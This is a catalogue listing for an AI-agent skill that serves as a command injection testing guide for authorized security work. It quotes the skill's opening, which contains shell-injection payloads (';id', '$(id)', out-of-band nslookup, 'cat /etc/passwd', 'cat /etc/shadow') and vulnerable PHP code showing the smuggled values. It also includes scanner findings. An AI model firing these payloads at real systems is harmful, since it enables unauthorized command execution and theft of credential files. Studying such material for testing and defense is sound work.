cmdi-command-injection

cmdi-command-injection is a skill for Claude Code, Codex from yaklang/hack-skills. It costs 36 tokens per session (5,956 once invoked), scanned B, original, MIT.

A testing guide for command injection, where untrusted input is made to run unintended operating-system commands. It covers inputs that reach shells, process runners, converters, imports, or blind command-execution points.

In plain words
What is it for?
Assessing applications that run shell commands, checking upload and import pipelines, testing conversion workflows, and investigating delayed or out-of-band command execution.
Why use it?
It helps identify less obvious paths from user input to command execution and provides ways to confirm whether a suspected weakness is real.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is # Inject: ../../../etc/passwd (path traversal).

Good fit Assessing applications that run shell commands, checking upload and import pipelines, testing conversion workflows, and investigating delayed or out-of-band command execution.

Compare 6 skills from other repositories ↓
About the project

HackSkills is an organized knowledge base of installable skills that gives AI agents practical security knowledge across areas such as web security, privilege escalation, reverse engineering, and digital forensics. It is intended for bug bounty work, penetration testing, CTF competitions, and authorized security research. The catalogue entries are the project's own master, category, and topic skills.

yaklang/hack-skills · 2,521 stars · on GitHub

Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/yaklang/hack-skills
agentmods
npx agentmods add skills/yaklang/hack-skills/cmdi-command-injection

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for cmdi-command-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/yaklang/hack-skills/cmdi-command-injection/github.svg)](https://agentmods.dev/skills/yaklang/hack-skills/cmdi-command-injection)
Your own site
<a href="https://agentmods.dev/skills/yaklang/hack-skills/cmdi-command-injection"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/cmdi-command-injection/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for cmdi-command-injection

Your own site · 80×15
<a href="https://agentmods.dev/skills/yaklang/hack-skills/cmdi-command-injection"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/cmdi-command-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 36 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 5,956 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • Socket fail 15 Sept 2026
  • Snyk pass 15 Sept 2026
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 48 findings, up to critical

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • critical YARA Match · line 203
    YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
    Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
  • high Privilege Escalation · line 28
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 29
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 50
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 62
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 63
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 65
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 89
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 177
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 190
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 232
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 233
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 234
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 235
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 246
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 247
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 303
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 314
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 315
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 316
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00036 $0.05956
Opus 5.5 $0.00014 $0.02382
Sonnet 5.5 $0.00007 $0.01191
Haiku 4.5 $0.00004 $0.00596

Measured 1mo ago against content hash 1f01c44613fb, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade B, and why

cmdi-command-injection scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

; cat /etc/shadow # password hashes (if root)

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

os.system("curl " + url) # url = "x.com; id"

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

os.system("curl " + url) # url = "x.com; id"
Origin

Copies of this mod

6 near-identical copies found in the catalogue:

skills/cmdi-command-injection/SKILL.md · 688 lines

How it starts

The opening of the file, as written. The whole thing — 688 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: OS Command Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.

Before going deep, you can first load:

First-pass payload families

Context Start With Backup
generic shell separator ;id &&id
quoted argument ";id;" ';id;'
blind timing ;sleep 5 & timeout /T 5 /NOBREAK
command substitution $(id) `id`
out-of-band DNS ;nslookup token.collab Windows nslookup variant
cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid

1. SHELL METACHARACTERS (INJECTION OPERATORS)

These characters break out of the command context and inject new commands:

Metacharacter Behavior Example
; Runs second command regardless dir; whoami
| Pipes stdout to second command dir | whoami
|| Run second only if first FAILS dir || whoami
& Run second in background (or sequenced in Windows) dir & whoami
&& Run second only if first SUCCEEDS dir && whoami
$(cmd) Command substitution echo $(whoami)
`cmd` Command substitution (backtick) echo `whoami`
> Redirect stdout to file cmd > /tmp/out
>> Append to file cmd >> /tmp/out
< Read file as stdin cmd < /etc/passwd
%0a Newline character (URL-encoded) cmd%0awhoami
%0d%0a CRLF Multi-command injection

2. COMMON VULNERABLE CODE PATTERNS

PHP

$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)

exec("ping -c 1 " . $ip);          // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file);        // ImageMagick RCE
passthru("nslookup " . $host);     // $host = "x.com; id"

Read the full file on GitHub · 688 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 688 lines · 36 tokens per session scan B 1f01c44613fb

Subscribe to this mod's changes

cmdi-command-injection is a skill published in the GitHub repository yaklang/hack-skills (2,521 stars, last pushed 1mo ago), licensed MIT. It adds 36 tokens to every session and 5,956 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it B with 3 findings (reaches for credential files, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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